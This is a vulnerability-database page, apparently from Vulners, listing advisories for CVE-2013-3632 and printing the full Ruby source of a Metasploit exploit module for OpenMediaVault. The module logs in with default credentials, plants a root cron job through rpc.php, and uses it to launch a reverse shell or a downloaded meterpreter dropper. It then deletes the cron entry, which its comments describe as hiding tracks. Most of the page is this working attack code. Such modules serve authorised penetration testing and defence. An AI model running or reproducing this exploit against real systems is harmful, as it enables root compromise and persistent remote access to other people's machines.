| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
| OpenMediaVault Cron Remote Command Execution Vulnerability | 31 Oct 201300:00 | – | zdt | |
| OpenMediaVault rpc.php Authenticated Cron Remote Code Execution Exploit | 31 Jul 202400:00 | – | zdt | |
| CVE-2013-3632 | 31 Oct 201300:00 | – | circl | |
| OpenMediaVault Cron Remote Command Execution (CVE-2013-3632) | 25 May 201400:00 | – | checkpoint_advisories | |
| CVE-2013-3632 | 29 Sep 201422:00 | – | cve | |
| CVE-2013-3632 | 29 Sep 201422:00 | – | cvelist | |
| OpenMediaVault Cron - Remote Command Execution (Metasploit) | 31 Oct 201300:00 | – | exploitdb | |
| OpenMediaVault Cron Remote Command Execution | 30 Oct 201315:25 | – | metasploit | |
| OpenMediaVault rpc.php Authenticated Cron Remote Code Execution | 30 Jul 202418:52 | – | metasploit | |
| CVE-2013-3632 | 29 Sep 201422:55 | – | nvd |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Deprecated
moved_from 'exploit/multi/http/openmediavault_cmd_exec'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',
'Description' => %q{
OpenMediaVault allows an authenticated user to create cron jobs as root on the system.
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute
a cron entry that runs arbitrary commands as root on the system.
All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor
'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module
],
'References' => [
['CVE', '2013-3632'],
['PACKETSTORM', '178526'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']
],
'DisclosureDate' => '2013-10-30',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['wget', 'curl'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),
OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])
]
)
end
def user
datastore['USERNAME']
end
def pass
datastore['PASSWORD']
end
def rpc_success?(res)
res&.code == 200 && res.body.include?('"error":null')
end
def login(user, pass)
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")
# try the login options for all OpenMediaVault versions
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Session',
method: 'login',
params: {
username: user,
password: pass
},
options: nil
}.to_json
})
unless res&.code == 200 && res.body.include?('"authenticated":true')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Authentication',
method: 'login',
params: {
username: user,
password: pass
}
}.to_json
})
end
unless res&.code == 200 && res.body.include?('"authenticated":true')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'Authentication',
method: 'login',
params: [
{
username: user,
password: pass
}
]
}.to_json
})
return res&.code == 200 && res.body.include?('"authenticated":true')
end
true
end
def check_target
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => {
service: 'System',
method: 'getInformation',
params: nil
}.to_json
})
return nil unless rpc_success?(res)
res
end
def check_version(res)
# parse json response and get the version
res_json = res.get_json_document
unless res_json.blank?
# OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information
version = res_json.dig('response', 1, 'value')
version = res_json.dig('response', 'version') if version.nil?
version = res_json.dig('response', 'data', 1, 'value') if version.nil?
return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?
end
nil
end
def apply_config_changes
# Apply OpenMediaVault configuration changes
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
service: 'Config',
method: 'applyChangesBg',
params: {
modules: [],
force: false
},
options: nil
}.to_json
})
end
def execute_command(cmd, _opts = {})
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'
# OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'
# OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter
# OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters
schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'
uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'
if @version_number > Rex::Version.new('1.0.32')
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: uuid,
enable: true,
execution: 'exactly',
minute: schedule,
everynminute: false,
hour: schedule,
everynhour: false,
dayofmonth: schedule,
everyndayofmonth: false,
month: schedule,
dayofweek: schedule,
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
},
options: nil
}.to_json
elsif @version_number >= Rex::Version.new('0.2.6.4')
post_data = {
service: 'Cron',
method: 'set',
params: {
uuid: uuid,
enable: true,
minute: schedule,
everynminute: false,
hour: schedule,
everynhour: false,
dayofmonth: schedule,
everyndayofmonth: false,
month: schedule,
dayofweek: schedule,
username: 'root',
command: cmd.to_s, # payload
sendemail: false,
comment: '',
type: 'userdefined'
}
}.to_json
else
post_data = {
service: 'Cron',
method: 'set',
params: [
{
uuid: uuid,
minute: schedule,
hour: schedule,
dayofmonth: schedule,
month: schedule,
dayofweek: schedule,
username: 'root',
command: cmd.to_s, # payload
comment: '',
type: 'userdefined'
}
]
}.to_json
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => post_data
})
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)
# parse json response and get the uuid of the cron entry
# we need this later to clean up and hide our tracks
res_json = res.get_json_document
@cron_uuid = res_json.dig('response', 'uuid') || ''
# In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it
if @cron_uuid.blank?
if @version_number >= Rex::Version.new('0.2.6.4')
method = 'getList'
else
method = 'getListByType'
end
post_data = {
service: 'Cron',
method: method,
params: {
start: 0,
limit: -1,
sortfield: nil,
sortdir: nil,
type: ['userdefined']
}
}.to_json
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => post_data
})
res_json = res.get_json_document
# get total list of entries and pick the last one
index = res_json.dig('response', 'total')
@cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''
end
# Apply and update cron configuration to trigger payload execution (1 minute)
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
apply_config_changes
print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')
end
def on_new_session(_session)
# try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true
unless datastore['PERSISTENT']
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rpc.php'),
'method' => 'POST',
'ctype' => 'application/json',
'keep_cookies' => true,
'data' => {
service: 'Cron',
method: 'delete',
params: {
uuid: @cron_uuid.to_s
}
# options: nil
}.to_json
})
if rpc_success?(res)
# Apply changes and update cron configuration to remove the payload entry
# In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply
apply_config_changes
print_good('Cron payload entry successfully removed.')
else
print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')
end
end
super
end
def check
@logged_in = login(user, pass)
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in
res = check_target
return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?
@version_number = check_version(res)
return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?
return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))
CheckCode::Detected("Version #{@version_number}")
end
def exploit
unless @logged_in
if login(user, pass)
res = check_target
fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?
@version_number = check_version(res)
if @version_number.nil?
print_status('Can not retrieve version information. Continue anyway...')
else
print_status("Version #{@version_number} detected.")
end
else
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')
end
end
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation